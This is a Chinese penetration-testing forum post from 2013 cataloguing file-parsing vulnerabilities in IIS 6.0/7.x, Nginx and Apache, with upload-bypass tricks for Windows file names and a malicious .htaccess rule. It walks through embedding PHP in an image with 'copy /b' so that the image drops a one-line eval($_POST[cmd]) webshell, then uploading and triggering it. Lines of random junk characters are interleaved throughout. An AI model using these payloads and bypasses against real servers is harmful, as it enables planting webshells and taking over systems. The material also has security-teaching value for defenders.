中国网络渗透测试联盟
标题:
常见服务器解析漏洞总结
[打印本页]
作者:
admin
时间:
2013-4-19 19:14
标题:
常见服务器解析漏洞总结
Author : laterain
& y7 s' h' A! y+ w! a
[+]IIS6.0
& X/ y9 m# J6 m8 ^+ F! t6 t
$ T2 H: i9 g$ w( L( R
目录解析:/xx.asp/xx.jpg
- u5 g3 A3 Z5 Z
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
+ b$ b% S+ m2 [$ p2 m
IIS6.0 会将 xx.jpg 解析为 asp 文件。
$ P* F( e. |/ x% K: M" q; d
后缀解析:/xx.asp;.jpg
% x. \; d0 o- s! i
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
# Q! `9 H( F1 W" i5 K% N
默认解析:/xx.asa
) o* B& z, B# {' K+ Z. l
/xx.cer
4 i' N( C, J$ m( B, z/ a9 I
/xx.cdx
# ~4 E, H3 Y, A1 h* W
IIS6.0 默认的可执行文件除了 asp 还包含这三种
* S7 P1 I9 Z9 V! p
此处可联系利用目录解析漏洞
8 E; U' |/ s8 q; s+ H5 e
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
- m' _* E3 g' O8 m1 }
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
8 s3 W& M5 C. k! D! J( V
; P/ I2 i( o8 w) F5 ]; L2 }! ]
IIS 7.0/IIS 7.5/Nginx <0.8.03
% O5 d4 z3 X3 _! ]$ L9 v% n8 }8 y
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
) t) j, P# E% e+ |* T1 G
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
4 w' j8 N2 _9 F1 S) e+ z# ^. k& P
常用利用方法:
2 e- b |7 D- ^8 s; G
将一张图和一个写入后门代码的文本文件合并将恶意文本
+ R7 ^3 g2 s- M4 N) b
写入图片的二进制代码之后,避免破坏图片文件头和尾
0 a* n! q/ z9 ?6 _
如:
9 o- V$ d9 s: p- P: V: F
copy xx.jpg /b + yy.txt/a xy.jpg
' D& T6 h1 [, Y+ x/ O& R
#########################################################
. Z- g5 ~& {) @7 o$ h a' z7 y
/b 即二进制[binary]模式
; H9 d2 g$ n) }; `: ^$ w w- K
/a 即ascii模式
. R' P* e3 j8 q# {$ ?5 _! ^: b% F
xx.jpg 正常图片文件
9 `1 Z. {. i2 e, c3 h
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
- p$ E- [2 T; F) M- S
'<?php eval($_POST[cmd])?>');?>
" L* p# U' [' ]5 F) }& t6 ~. G
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
4 ^2 M; r* E% V
为shell.php的文件
i. P4 L$ L& q! m( Y! x( N
###########################################################
`) m; W* y0 r) K2 l3 O, w( ~2 J
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
) k' O( r* s6 Y- R3 t# U$ E V
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
7 v! n, R" w* a% k- P: Q* E) |
密码 cmd
% s( W8 M! o$ y5 V3 X/ q/ l7 x
[+]Nginx <0.8.03
$ d- C$ y" l0 k+ P% B
/ Y/ B$ R+ {: @3 p" [
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
: g- [: n! W6 m3 s3 F) _
在一个文件路径(/xx.jpg)后面加上%00.php
' b; N! w% o& d6 x- j; @. Y7 W
会将 /xx.jpg%00.php 解析为 php 文件。
9 i6 ?# C. s- e/ O
[+]Apache<0.8.03
" l% d) d# m8 L1 i) o% }$ S( Q6 \
& V0 |6 N# t( S0 n/ b* u3 f, T
后缀解析:test.php.x1.x2.x3
/ M# K5 Q; }( J9 ~9 f# U: v
Apache将从右至左开始判断后缀,若x3非可识别后缀,
# d6 t6 K' f+ {: Y, | N
再判断x2,直到找到可识别后缀为止,然后将该可识别
' {. q! u Q, |8 m, D+ [. Z
后缀进解析test.php.x1.x2.x3 则会被解析为php
8 c' B6 e+ _# G9 g
经验之谈:php|php3|phtml 多可被Apache解析。
% _! [; h5 R5 L" Z! J
[+]其他一些可利用的
2 m C/ z' t- {9 f; }' F
# y r6 m4 M- L$ |& H
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
6 N3 T' ?( d# _- T: g. F6 X
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
' h5 ?0 I9 S3 {! a* Z4 u
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
% C# y( |3 d4 W9 W% E
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
5 |* y3 K. Q% T+ e' f; h ]
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
. d( T- O6 v7 p
{Linux主机中不行,Linux允许这类文件存在}
: s9 V# x/ ]+ \
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
/ v- T( ] j' t
的,当初我并不知道),且可以被上传,那可以尝试在
& N) o8 F4 V8 \) d0 r* I7 |
.htaccess中写入:
! O; X8 P2 K h$ T
<FilesMatch “shell.jpg”>
& V4 L! @# o. Z
SetHandler application/x-httpd-php
1 R: {' i$ y, m" H1 |% ]
</FilesMatch>
5 O6 Q1 b5 P; [" Z
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
9 s, [' f( c$ l/ x8 a f" M# z
[+]错误修改
1 K! Q. H2 ~/ O% B9 p: c
2 P' Y' n7 |3 y' P& k8 m
在 IIS 6.0 下可解析 /xx.asp:.jpg
* a, L) E( F' _
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
) T/ @5 u+ q5 |% o1 ]0 |
剩下/xx.asp}修改:
# i+ X' j# k- s
先谢谢核攻击的提醒
" L0 h/ l4 `& m
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
9 }+ c+ I' i) t% \* V5 p" ~
里是没有任何内容的,因为。。不好解释 大家自己看
) |2 m- N" v& n s1 [
http://lcx.cc/?i=2448
8 f7 \; x4 L8 o3 W7 ~
http://baike.baidu.com/view/3619593.htm
! j! }* W; [. S, S
; E; D% a T3 I: k. e, {& @1 a
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2